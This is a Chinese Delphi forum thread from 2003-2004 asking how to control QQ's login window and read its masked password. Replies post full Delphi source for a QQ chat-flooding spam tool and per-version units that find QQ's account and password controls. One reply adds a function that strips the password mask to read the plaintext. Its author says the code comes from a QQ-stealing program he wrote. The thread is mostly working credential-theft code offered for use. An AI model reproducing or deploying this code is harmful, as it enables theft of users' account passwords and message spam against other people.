如何控制2003版QQ的主窗口？(100分)

luckhacker · 2003-11-04

1、如何获得句柄？  2、如何隐藏或恢复？  3、如何取得密码框的密码原文？

woyaoying · 2003-11-04

我也想知道. 关注一下！

Faczxy · 2003-11-04

第一个可以用API实现。方法你找一下。 后面的，我只能帮你顶啦

边尘浪子 · 2003-11-05

QQ是比较麻烦的。他的登陆窗口的标题是变化的 ....

luckhacker · 2003-11-10

Faczxy, 第一个要用哪个API？？ 边尘浪子, 这个我了解，我不用窗口标题来获得，可否通过别的方法来获得（如classname,或进程名等等）。

yf168 · 2004-02-02

肯定没问题，获得他的classname showwindow(hwnd,sw_hide) 至于密码,在win2k下面不行 在98下面没问题， 我以前做过这方面的东西

luckhacker · 2004-02-11

yf168, 可以让我看看吗？谢谢

wood_ke · 2004-02-11

获得句柄好象是用 gethandle

delphigun · 2004-02-11

你意图何在？如果只是想深入系统的话，《Avanced Windows>>可以满足你了， 如果不是，抱歉，无可奉告！ 呵呵

luckhacker · 2004-02-11

我可不是想偷QQ，我只是想学习一下系统方面的知识。 delphigun, 你说的那个是E文的吗？

Robot5 · 2004-02-11

下面是从网上找到的。看能不能帮上你！ ====================== unit Unit1; interface uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, Mask, StdCtrls, Buttons, ComCtrls; type   TForm1 = class(TForm)     ListBox1: TListBox;     GroupBox1: TGroupBox;     Memo1: TMemo;     CheckBox1: TCheckBox;     Label1: TLabel;     BitBtn1: TBitBtn;     BitBtn2: TBitBtn;     Button1: TButton;     Button2: TButton;     Edit1: TEdit;     StatusBar1: TStatusBar;     procedure Button1Click(Sender: TObject);     procedure Button2Click(Sender: TObject);     procedure ListBox1DblClick(Sender: TObject);     procedure FormCreate(Sender: TObject);     procedure BitBtn1Click(Sender: TObject);     procedure BitBtn2Click(Sender: TObject);     procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);   private     { Private declarations }   public     { Public declarations }   end; sendmsgthread=class(TThread) public procedure execute;override; end; var   Form1: TForm1;   qqformid:hwnd;   rid,chishu:integer;   mysend:sendmsgthread; implementation {$R *.dfm} //找QQ聊天窗口 function FqqID(ahwnd:hwnd;w:integer):boolean;stdcall;  var wintext,w2

char;     begin     result:=true;     getmem(wintext,100);     getmem(w2,102);     getwindowtext(ahwnd,wintext,100);     w2:=strlcopy(w2,wintext,2);     if w2='与' then       begin     qqformid:=ahwnd;       end; end; //找到class是richedit的，发文本发给它。 function FmsgID(ahwnd:hwnd;w:integer):boolean;stdcall;  var wintext,w2

char;     begin     result:=true;     getmem(wintext,100);     getmem(w2,102);     getclassname(ahwnd,wintext,100);     if wintext='RICHEDIT' then       begin         if form1.CheckBox1.Checked then         sendmessage(ahwnd,WM_settext,0,integer(pchar(form1.listbox1.Items[random(form1.listbox1.Count-1)])))         else         begin           if length(form1.memo1.Lines.text)=0 then           sendmessage(ahwnd,WM_settext,0,integer(pchar(form1.listbox1.Items[rid])))           else           sendmessage(ahwnd,WM_settext,0,integer(pchar(form1.Memo1.lines.text)));         end;       end;     freemem(wintext);     freemem(w2);     end; //找到发送按钮，点击他。 function FsendID(ahwnd:hwnd;w:integer):boolean;stdcall;  var wintext,w2

char;     begin     result:=true;     getmem(wintext,100);     getmem(w2,102);     getwindowtext(ahwnd,wintext,100);     if wintext='发送(&S)' then      begin      sendmessage(ahwnd,bm_click,0,0);      end; end; //用线程发送消息。 procedure sendmsgthread.execute; var i:integer; begin qqformid:=0; enumwindows(@fqqid,0); if qqformid<>0 then begin for i:=1 to chishu do   begin   if terminated then exit;   enumchildwindows(qqformid,@fmsgid,0);   enumchildwindows(qqformid,@fsendid,0);   form1.StatusBar1.Panels.Items[0].Text:='正在发送第'+inttostr(i)+'条信息...';   sleep(1500);   if rid>=form1.ListBox1.Count-1 then rid:=0;   rid:=rid+1   end;   form1.StatusBar1.Panels.Items[0].Text:='信息已发送完毕';   form1.bitbtn1.Enabled:=true;   form1.bitbtn2.Enabled:=false;   form1.checkbox1.Enabled:=true;   form1.memo1.ReadOnly:=false;   form1.edit1.ReadOnly:=false;   end    else    form1.StatusBar1.Panels.Items[0].Text:='无法找到QQ聊天窗口'; end; //增加列表内容 procedure TForm1.Button1Click(Sender: TObject); var f:textfile; begin  if trim(memo1.Lines.text)<>'' then  begin  assignfile(f,'qqmsg.txt');  append(f);  write(f,memo1.lines.text+#13#10'[next]'#13#10);  closefile(f);  listbox1.Items.Add(memo1.lines.text);   memo1.Lines.text:='';  end; end; //删除列表一个内容 procedure TForm1.Button2Click(Sender: TObject); var i:integer; f:textfile; temp:string; begin  assignfile(f,'qqmsg.txt');  rewrite(f);  listbox1.Items.Delete(listbox1.itemindex);  for i:=0 to listbox1.count-1 do  begin  temp:=listbox1.Items;  write(f,temp+#13#10'[next]'#13#10);  end;  closefile(f); end; //列表被双击时，把选项转入memo procedure TForm1.ListBox1DblClick(Sender: TObject); begin memo1.Lines.text:=listbox1.Items[listbox1.itemindex]; end; //窗口建立时，把列表读入; procedure TForm1.FormCreate(Sender: TObject); var f:textfile; temp,st:string; begin  randomize;  assignfile(f,'qqmsg.txt');  reset(f);  while not eof(f) do  begin    st:='';    temp:='';    while (temp<>'[next]') and (not eof(f)) do    begin    st:=st+temp;    readln(f,temp);    end;    listbox1.Items.Add(st);  end;  closefile(f); end; //开始灌水 procedure TForm1.BitBtn1Click(Sender: TObject); begin if strtoint(edit1.text)>0 then   begin   rid:=0;   chishu:=strtoint(edit1.text);   mysend:=sendmsgthread.Create(false);   bitbtn1.Enabled:=false;   bitbtn2.Enabled:=true;   checkbox1.Enabled:=false;   memo1.ReadOnly:=true;   edit1.ReadOnly:=true;   end   else   begin   end; end; //停止灌水 procedure TForm1.BitBtn2Click(Sender: TObject); begin bitbtn1.Enabled:=true; bitbtn2.Enabled:=false; checkbox1.Enabled:=true; memo1.ReadOnly:=false; edit1.ReadOnly:=false; mysend.Terminate; form1.StatusBar1.Panels.Items[0].Text:='你终止了操作.......'; end; procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin application.MessageBox('欢迎你使用QQ灌水机'#13#10#13#10+'技术支持:yzp0755@163.com','再见'); end; end.

luckhacker · 2004-02-12

试试

人在昆明 · 2004-02-13

for oicq 0630c : {    Oicq :      Ver : 0630   Create:     2003-09-22 } unit UVerFirst; interface uses SysUtils, Windows; // 获取登录窗口的句柄 function GetWindowHandleVerFirst: Integer; function GetVerFirstUserCodeHandleEx(WindowHandle: Integer): Integer; function GetVerFirstUserPswHandleEx(WindowHandle: Integer): Integer; implementation {*  确认是否是 0630c 版本  *} function GetWindowHandleVerFirst: Integer; var   hWindowsHandle, hStaticHandle: Integer; begin   Result := 0;   hWindowsHandle := FindWindow('#32770', nil);   if hWindowsHandle <> 0 then   begin     hStaticHandle := FindWindowEx(hWindowsHandle, 0,       'Static', '申请密码保护，确保号码安全');     if hStaticHandle <> 0 then       Result := hWindowsHandle;   end; end; {*  取的账号信息  *} function GetVerFirstUserCodeHandleEx(WindowHandle: Integer): Integer;   function GetVerFirstUserCodeHandle(hwnd: Integer; lparam: Longint):       Boolean; stdcall;   var     buffer: array[0..255] of Char;     buffer1: array[0..255] of Char;   begin     Result := True;     //得到目标窗口的控件     GetClassName(hwnd, buffer, 256);     //找到发消息的目标窗口的目标控件     if StrPas(Buffer) = 'ComboBox' then     begin //      GetWindowText(hwnd, buffer1, 100);       PInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)       Result := False; //终止循环     end;   end; //end of function var   MyUserCodeComboBoxHandle: Integer; begin   Result := 0;   if WindowHandle <> 0 then   begin     MyUserCodeComboBoxHandle := WindowHandle;     EnumChildWindows(MyUserCodeComboBoxHandle, @GetVerFirstUserCodeHandle,       Integer(@MyUserCodeComboBoxHandle));     Result := MyUserCodeComboBoxHandle;   end; end; {*  取的密码信息  *} function GetVerFirstUserPswHandleEx(WindowHandle: Integer): Integer;   function GetVerFirstUserPswHandle(hwnd: Integer; lparam: Longint):       Boolean; stdcall;   var     buffer: array[0..255] of Char;     buffer1: array[0..255] of Char;     hLong: Integer;   begin     Result := True;     //得到目标窗口的控件     GetClassName(hwnd, buffer, 256);     //找到发消息的目标窗口的目标控件     if StrPas(Buffer) = 'Edit' then     begin       PInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)       Result := False; //终止循环     end;   end; //end of function var   MyUserPswEditHandle: Integer; begin   Result := 0;   if WindowHandle <> 0 then   begin     MyUserPswEditHandle := WindowHandle;     EnumChildWindows(MyUserPswEditHandle, @GetVerFirstUserPswHandle,       Integer(@MyUserPswEditHandle));     Result := MyUserPswEditHandle;   end; end; end.

人在昆明 · 2004-02-13

//for 0808: {    Oicq :      Ver : 0808   Create:     2003-09-22 } unit UVerSecond; interface uses SysUtils, Windows; function GetWindowHandleVerSecond: Integer; function GetVerSecondUserCodeHandleEx(WindowHandle: Integer): Integer; function GetVerSecondUserPswHandleEx(WindowHandle: Integer): Integer; implementation {*  确认是否是 0808 版本  *} function GetWindowHandleVerSecond: Integer; var   hWindowsHandle, hStaticHandle: Integer; begin   Result := 0;   hWindowsHandle := FindWindow('#32770', nil);   if hWindowsHandle <> 0 then   begin     hStaticHandle := FindWindowEx(hWindowsHandle, 0,       'Static', '申请密码保护');     if hStaticHandle <> 0 then       Result := hWindowsHandle;   end; end; function GetVerSecondUserCodeHandleEx(WindowHandle: Integer): Integer;   function GetVerSecondUserCodeHandle(hwnd: Integer; lparam: Longint):       Boolean; stdcall;   var     buffer: array[0..255] of Char;     buffer1: array[0..255] of Char;   begin     Result := True;     //得到目标窗口的控件     GetClassName(hwnd, buffer, 256);     //找到发消息的目标窗口的目标控件     if StrPas(Buffer) = 'ComboBox' then     begin       GetWindowText(hwnd, buffer1, 100);       PInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)       Result := False; //终止循环     end;   end; //end of function var   MyUserCodeComboBoxHandle: Integer; begin   Result := 0;   if WindowHandle <> 0 then   begin     MyUserCodeComboBoxHandle := WindowHandle;     EnumChildWindows(MyUserCodeComboBoxHandle, @GetVerSecondUserCodeHandle,       Integer(@MyUserCodeComboBoxHandle));     Result := MyUserCodeComboBoxHandle;   end; end; function GetVerSecondUserPswHandleEx(WindowHandle: Integer): Integer;   function GetVerSecondUserPswHandle(hwnd: Integer; lparam: Longint):       Boolean; stdcall;   var     buffer: array[0..255] of Char;     buffer1: array[0..255] of Char;     hLong: Integer;   begin     Result := True;     //得到目标窗口的控件     GetClassName(hwnd, buffer, 256);     //找到发消息的目标窗口的目标控件     if StrPas(Buffer) = 'Edit' then     begin       hLong := GetWindowLong(hwnd, GWL_EXSTYLE);       if ((hLong and WS_EX_NOPARENTNOTIFY) = WS_EX_NOPARENTNOTIFY) then       begin         PInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)         Result := False; //终止循环       end;     end;   end; //end of function var   MyUserPswEditHandle: Integer; begin   Result := 0;   if WindowHandle <> 0 then   begin     MyUserPswEditHandle := WindowHandle;     EnumChildWindows(MyUserPswEditHandle, @GetVerSecondUserPswHandle,       Integer(@MyUserPswEditHandle));     Result := MyUserPswEditHandle;   end; end; end.

人在昆明 · 2004-02-13

// for 0925 {    Oicq :      Ver : 0925   Create:     2003-11-27 } unit UVer0925; interface uses SysUtils, Windows; function GetWindowHandleVer0925: Integer; function GetVer0925UserCodeHandleEx(WindowHandle: Integer): Integer; function GetVer0925UserPswHandleEx(WindowHandle: Integer): Integer; implementation function GetWindowHandleVer0925: Integer; var   hWindowsHandle, hStaticHandle: Integer; begin   Result := 0;   hWindowsHandle := FindWindow('#32770', nil);   if hWindowsHandle <> 0 then   begin     hStaticHandle := FindWindowEx(hWindowsHandle, 0,       'Static', '申请密码保护');     if hStaticHandle <> 0 then       Result := hWindowsHandle;   end; end; function GetVer0925UserCodeHandleEx(WindowHandle: Integer): Integer; begin end; function GetVer0925UserPswHandleEx(WindowHandle: Integer): Integer;   function GetVerSecondUserPswHandle(hwnd: Integer; lparam: Longint):       Boolean; stdcall;   var     buffer: array[0..255] of Char;     buffer1: array[0..255] of Char;     hLong: Integer;   begin     Result := True;     //得到目标窗口的控件     GetClassName(hwnd, buffer, 256);     //找到发消息的目标窗口的目标控件     if StrPas(Buffer) = 'Edit' then     begin       hLong := GetWindowLong(hwnd, GWL_EXSTYLE);       if ((hLong and WS_EX_NOPARENTNOTIFY) = WS_EX_NOPARENTNOTIFY) then       begin         PInteger(lparam)^ := hwnd; //得到目标控件的Hwnd(句柄)         Result := False; //终止循环       end;     end;   end; //end of function var   MyUserPswEditHandle: Integer; begin   Result := 0;   if WindowHandle <> 0 then   begin     MyUserPswEditHandle := WindowHandle;     EnumChildWindows(MyUserPswEditHandle, @GetVerSecondUserPswHandle,       Integer(@MyUserPswEditHandle));     Result := MyUserPswEditHandle;   end; end; end.

人在昆明 · 2004-02-13

获取密码： // 获取密码 function GetPassWord(IsHide: Boolean; HWND: Integer): PChar; function GetPassWord(IsHide: Boolean; HWND: Integer): PChar; var   mPoint: TPoint;   Ret: LongInt;   mText: PChar;   Buf: Integer; begin   Result := '';   GetMem(mText, 1024 * 8);   try     PostMessage(HWND, EM_SETPASSWORDCHAR, LongInt(0), 0);     Ret := SendMessage(HWND, WM_GETTEXTLENGTH, 0, 0) + 1;     Buf := LongInt(mText);     SendMessage(HWND, WM_GETTEXT, Min(Ret, 1024 * 8), Buf);     Sleep(10);     InvalidateRgn(HWND, 0, False);     // 隐藏成为 *     if IsHide then       PostMessage(HWND, EM_SETPASSWORDCHAR, WParam('*'), 0);     Result := PChar(StrPas(mText));   finally     FreeMem(mText, 1024 * 8);   end; end;

luckhacker · 2004-02-13

人在昆明提供的在2K下能行吗？ 还有一个相关的问题：我如何向另一个程序的登录窗口中的密码输入框自动填入密码，我不会捕获密码输入框。谢谢

人在昆明 · 2004-02-13

能，这个就是我写的一个偷qq　的程序中的代码！

刘麻子 · 2004-02-17

1、findwindos 2、发送消息 3、我自己写了这中程序，要吗？   其实就是大家知道的方法拉

yf168 · 2004-02-29

网上有很多WINAPI方面的资料    多看看 建议看一下 windows 编成原理上下册 (我买的时候是80RMB D版 [

])

如何控制2003版QQ的主窗口？(100分)

luckhacker

Unregistered / Unconfirmed

woyaoying

Unregistered / Unconfirmed

Faczxy

Unregistered / Unconfirmed

边尘浪子

Unregistered / Unconfirmed

luckhacker

Unregistered / Unconfirmed

yf168

Unregistered / Unconfirmed

luckhacker

Unregistered / Unconfirmed

wood_ke

Unregistered / Unconfirmed

delphigun

Unregistered / Unconfirmed

luckhacker

Unregistered / Unconfirmed

Robot5

Unregistered / Unconfirmed

luckhacker

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

luckhacker

Unregistered / Unconfirmed

人在昆明

Unregistered / Unconfirmed

刘麻子

Unregistered / Unconfirmed

yf168

Unregistered / Unconfirmed

Similar threads